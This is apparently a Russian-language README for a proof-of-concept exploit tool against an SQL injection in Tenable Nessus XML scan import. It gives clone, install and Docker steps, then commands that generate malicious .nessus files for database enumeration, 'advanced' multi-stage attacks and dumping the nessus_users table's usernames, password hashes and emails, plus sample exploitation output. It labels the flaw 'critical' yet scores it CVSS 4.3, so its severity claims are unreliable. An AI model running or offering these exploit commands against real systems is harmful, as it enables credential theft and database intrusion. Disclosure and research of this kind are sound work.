PoC для CVE-2026-57588 - SQL-инъекция в импорте XML Nessus 10.12.0. Генерирует вредоносные .nessus файлы для перечисления баз данных, эксфильтрации учетных данных и тестирования time-based blind injection. Для авторизованных исследований безопасности. Автор: Sudeepa Wanigarathna. Исправлено в 10.12.1.
CVE-2026-57588 — критическая уязвимость SQL-инъекции, обнаруженная в Tenable Nessus версий 10.12.0 и более ранних. Уязвимость находится в механизме разбора XML при импорте файлов результатов сканирования .nessus, позволяя аутентифицированным пользователям с правами импорта выполнять произвольные SQL-запросы к бэкенд-базе данных PostgreSQL.
| Параметр | Значение |
|---|---|
| CVE ID | CVE-2026-57588 |
| Тип уязвимости | SQL-инъекция |
| Затронутые продукты | Tenable Nessus 10.12.0 и более ранние |
| Исправленная версия | Nessus 10.12.1 и новее |
| Оценка CVSS | 4.3 (Средняя) |
| Вектор атаки | Сеть |
| Сложность атаки | Низкая |
| Необходимые привилегии | Аутентифицированный (права импорта) |
| Взаимодействие пользователя | Требуется (социальная инженерия) |
| Воздействие | Извлечение данных, удаленное выполнение кода |
Уязвимость существует из-за недостаточной санитизации значений XML-тегов перед их включением в SQL-запросы в процессе импорта. Злоумышленник может создать файл .nessus, содержащий специально сформированные пейлоады SQL-инъекций в таких XML-тегах, как:
hostnamefqdnossystem-typemac-addressnetbios-nameКогда привилегированный пользователь импортирует вредоносный файл, несанитизированные значения выполняются против бэкенда PostgreSQL, что позволяет:
# Клонировать репозиторий
git clone https://github.com/CerberusMrXi/CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
cd CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
# Создать и активировать виртуальное окружение
python3 -m venv venv
source venv/bin/activate # На Windows: venv\Scripts\activate
# Установить зависимости
pip install -r requirements.txt
# Проверить установку
python3 exploit.py --version
# Собрать Docker-образ
docker build -t nessus-exploit .
# Запустить инструмент
docker run -it --rm nessus-exploit generate -u https://test.com -p enum
# Установить как пакет
pip install -e .
# Теперь можно запускать из любой директории
nessus-exploit generate -u https://test.com -p enum
# Сгенерировать базовый эксплойт для перечисления
python3 exploit.py generate -u https://test.com -p enum
# Сгенерировать продвинутый многоэтапный эксплойт
python3 exploit.py generate -u https://test.com -p advanced -o exploit.nessus
# Извлечь данные из базы данных
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email
# Показать общую справку
python3 exploit.py --help
# Показать справку по команде generate
python3 exploit.py generate --help
# Список всех доступных пейлоадов
python3 exploit.py list
python3 exploit.py generate -u https://test.com -p enum
[2026-07-22 10:15:23] [INFO] [*] Начало эксплуатации против https://test.com
[2026-07-22 10:15:23] [INFO] [*] Сессия: xK9mN2pQ5wR8yV7tJ4sL3fG6hD1
[2026-07-22 10:15:23] [INFO] [*] Пейлоад: enum
[2026-07-22 10:15:23] [INFO] [*] Выполнение этапа: fingerprint
[2026-07-22 10:15:24] [INFO] [+] Сгенерирован XML: exploit_20260722_fingerprint_101523.nessus (3847 байт)
[2026-07-22 10:15:24] [INFO] [*] Выполнение этапа: schema_dump
[2026-07-22 10:15:25] [INFO] [+] Сгенерирован XML: exploit_20260722_schema_dump_101524.nessus (4213 байт)
[2026-07-22 10:15:25] [INFO] [+] Эксплуатация завершена! Длительность: 2.15с
============================================================
СВОДКА ЭКСПЛУАТАЦИИ
============================================================
Цель: https://test.com
Статус: УСПЕХ
Длительность: 2.15с
Сгенерировано файлов: 3
Сгенерировано отчетов: 3
============================================================
python3 exploit.py generate -u https://test.com -p advanced -o custom.nessus -v
# Извлечь учетные данные пользователей
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email
# Извлечь с пользовательскими столбцами
python3 exploit.py generate -u https://test.com -p dump --table scan_results --columns scan_name,start_time,status